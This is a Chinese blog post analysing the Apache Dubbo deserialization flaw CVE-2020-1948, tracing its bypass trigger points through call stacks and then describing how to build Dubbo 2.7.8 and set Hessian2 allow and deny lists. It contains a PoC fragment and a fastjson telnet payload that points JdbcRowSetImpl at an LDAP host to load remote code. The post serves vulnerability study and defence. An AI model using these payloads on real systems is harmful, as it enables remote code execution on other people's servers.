vlambda博客
学习文章列表

安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​

最近的Dubbo漏洞

一, 根据https://www.mail-archive.com/[email protected]/msg06544.html 最近的Dubbo反序列化漏洞CVE-2020-1948作者提供的poc是

resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService'
method_name='rce',
args=[toStringBean])

是将恶意对象放到args这个数组的一个元素中。

    二,于是参考作者rui0的文章,尝试其他的利用方式。参考:

    • http://rui0.cn/archives/1338

    其评论中提供的思路,

    这里需要注意一下,因为最近的Dubbo反序列化漏洞公布了。所以需要补充一下,因为主题的关系文章中只提到了Dubbo的toString触发点,但是Dubbo实际上在刚传入序列化值时也有一个触发点,漏洞公布的邮件里并没有涉及全部的细节以及poc,所以一些版本如果在代码层面只去掉输出arguments处理,仍然还有其他触发位置可能存在风险。建议各位开发者尽量采取升级措施,或在代码层面去掉arguments的输出同时对Hessian进行加固。

    发现除了args属性之外,其他属性比如service_namemethod_nameservice_version都可作为利用点。

    漏洞原理

    Dubbo反序列化过程及原理还有各种丰富的gadget参考threedr3am大佬的先知文章和github代码。

    反序列化之后的触发点是,new Exception("test" + obj)时,会对字符串进行拼接(StringBuilder#append),  为了拿到obj的值,会使用

    String.valueOf(obj)
    =>obj.toString()

    去取。需要找到某个类其重写的toString方法可以rce,而com.rometools.rome.feed.impl.ToStringBean就是这样的类。因为在其重写的toString方法中(=>toString(String prefix)) 会调用指定类对象所有属性的get方法。

    com.rometools.rome.feed.impl.ToStringBean#toString

    安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​ 这里是通过构造com.sun.rowset.JdbcRowSetImpl对象,调用其getDatabaseMetaData方法,这样会调用com.sun.rowset.JdbcRowSetImpl#connect方法,加上poc中设置的其dataSource属性(jndi的url),实现rce。

    这种利用方式的调用栈为(以service_version为例):

    lookup:417, InitialContext (javax.naming)
    connect:624, JdbcRowSetImpl (com.sun.rowset)
    getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
    invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
    invoke:62, NativeMethodAccessorImpl (sun.reflect)
    invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
    invoke:498, Method (java.lang.reflect)
    toString:158, ToStringBean (com.rometools.rome.feed.impl)
    toString:129, ToStringBean (com.rometools.rome.feed.impl)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    expect:3564, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
    readUTF:88, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
    decode:109, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:80, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
    decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)
    received:44, DecodeHandler (org.apache.dubbo.remoting.transport)
    run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)

    而version < 2.7.7的调用栈为:(以2.7.1为例)

    toString:105, ToStringBean (com.rometools.rome.feed.impl)
    valueOf:2994, String (java.lang)
    toString:4571, Arrays (java.util)
    toString:211, RpcInvocation (org.apache.dubbo.rpc)
    valueOf:2994, String (java.lang)
    append:131, StringBuilder (java.lang)
    getInvoker:248, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
    reply:102, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
    handleRequest:103, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
    received:200, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
    received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
    run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
    runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
    run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
    run:748, Thread (java.lang)

    可以从下面这个方法看出两个触发点的不同(以2.7.1版本为例):org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(Channel channel, InputStream input)

    安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​ 可以看出公开的poc触发的点是在读取arguments的时候(对应poc中args属性)

    而绕过方式的触发点是在读取service_namemethod_nameservice_version时触发。

    在2.7.7修复的地方之前就已经触发了。

    而其模型都是:

    new Exception("string" + obj)

    具体地, version < 2.7.7是在:org\apache\dubbo\dubbo\2.7.1\dubbo-2.7.1.jar!\org\apache\dubbo\rpc\protocol\dubbo\DubboProtocol#getInvoker(Channel channel, Invocation inv)的这行代码

    // invDecodeableRpcInvocation类的恶意对象
    throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);

    version = 2.7.7版本是在:

    // objDecodeableRpcInvocation类的恶意对象
    this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")")

    protected IOException error(String message) {
    return this._method != null ? new HessianProtocolException(this._method + ": " + message) : new HessianProtocolException(message);
    }

    tips

    为了避免在调试反序列化漏洞toString方法的时候多次触发计算器,或者误触发了本不会触发的计算器,可以在IDEA中进行设置: 安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​ 参考:http://rui0.cn/archives/1338


    telnet服务结合fastjson实现RCE

    Dubbo的telnet服务还有其他风险。由于其解析字符串默认使用的是fastjson,可以结合fastjson实现RCE。

    invoke ({ "111": { "@type""java.lang.Class""val""com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type""com.sun.rowset.JdbcRowSetImpl""dataSourceName""ldap://192.168.85.1:8089/test_by_cqq""autoCommit"true })

    关键代码在:

    org\apache\dubbo\dubbo\2.7.7\dubbo-2.7.7.jar!\org\apache\dubbo\qos\legacy\InvokeTelnetHandler#telnet(Channel channel, String message)

    安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​

    后面就是fastjson的JSON.parseArray方法的调用过程了。

    调用栈为:

    telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)received:51, DecodeHandler (org.apache.dubbo.remoting.transport)run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)runWorker:1149, ThreadPoolExecutor (java.util.concurrent)run:624, ThreadPoolExecutor$Worker (java.util.concurrent)run:748, Thread (java.lang)

    安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化

    git clone https://github.com/apache/dubbo
    cd dubbo
    git checkout 2.7.8 -b b2.7.8
    mvn install -DskipTests

    安装到本地maven仓库中。IDEA中, 安装dubbo 2.7.8防御CVE-2020-1948反序列化及后反序列化​

    Update这个本地仓库,然后就可以使用本地maven里的dubbo-2.7.8.jar了。

    使用dubbo 2.7.8之后,如果不加额外配置,在默认配置情况下依然可以利用此漏洞。

    需要加上jvm参数:配置白名单时,

    // whitelist
    -Ddubbo.application.hessian2.whitelist=true
    -Ddubbo.application.hessian2.allow="org.apache.dubbo.demo.*"

    配置黑名单时,

    // blacklist
    -Ddubbo.application.hessian2.whitelist=false
    -Ddubbo.application.hessian2.deny="org.malicious.code.*"

    实际测试发现只要

    -Ddubbo.application.hessian2.whitelist=whatever

    即可防御现有的gadget。参考:

    • https://github.com/apache/dubbo/pull/6378

    gadget详情参考threedr3am大佬的代码:

    • https://github.com/threedr3am/dubbo-exp

    使用危害最大的SpringAbstractBeanFactoryPointcutAdvisor这个反序列化gadget 报错如下:

    2020-07-10 16:15:14.553  INFO 23336 --- [erverWorker-3-1] o.a.d.r.t.netty4.NettyServerHandler      :  [DUBBO] The connection of /10.255.x.y:33809 -> /10.2.a.b:12345 is established., dubbo version: 2.7.8, current host: 169.254.24.31
    2020-07-10 16:15:14.634 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
    2020-07-10 16:15:14.634 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.aop.TruePointcut in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
    2020-07-10 16:15:14.635 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.jndi.support.SimpleJndiBeanFactory in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
    2020-07-10 16:15:14.636 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.apache.commons.logging.impl.NoOpLog in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
    2020-07-10 16:15:14.636 ERROR 23336 --- [erverWorker-3-1] c.a.com.caucho.hessian.io.ClassFactory : org.springframework.jndi.JndiTemplate in blacklist or not in whitelist, deserialization with type 'HashMap' instead.
    2020-07-10 16:15:14.640 WARN 23336 --- [erverWorker-3-1] o.a.d.remoting.transport.AbstractServer : [DUBBO] All clients has disconnected from /10.2.a.b:12345. You can graceful shutdown now., dubbo version: 2.7.8, current host: 169.254.24.31
    2020-07-10 16:15:14.641 INFO 23336 --- [erverWorker-3-1] o.a.d.r.t.netty4.NettyServerHandler : [DUBBO] The connection of /10.255.x.y:33809 -> /10.2.a.b:12345 is disconnected., dubbo version: 2.7.8, current host: 169.254.24.31

    使用之前的Dubbo绕过之二(后反序列化),通过对比,以2.7.1为例, C:\Users\Administrator.m2\repository\org\apache\dubbo\dubbo\2.7.1\dubbo-2.7.1.jar!\com\alibaba\com\caucho\hessian\io\Hessian2Input#expect(String expect, int ch)

                    Object obj = this.readObject();
    return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");

    这里readObejct可以拿到攻击者提供的对象(这里是ToStringBean) 

    而对比2.7.8, 这里变成了一个HashMap: 


    参考:

    • https://mp.weixin.qq.com/s/ppq92Dbb2MqK2XgjTSZvSw

    • https://cloud.tencent.com/developer/article/1587681

    • http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html

    • https://github.com/threedr3am/dubbo-exp

    • http://rui0.cn/archives/1338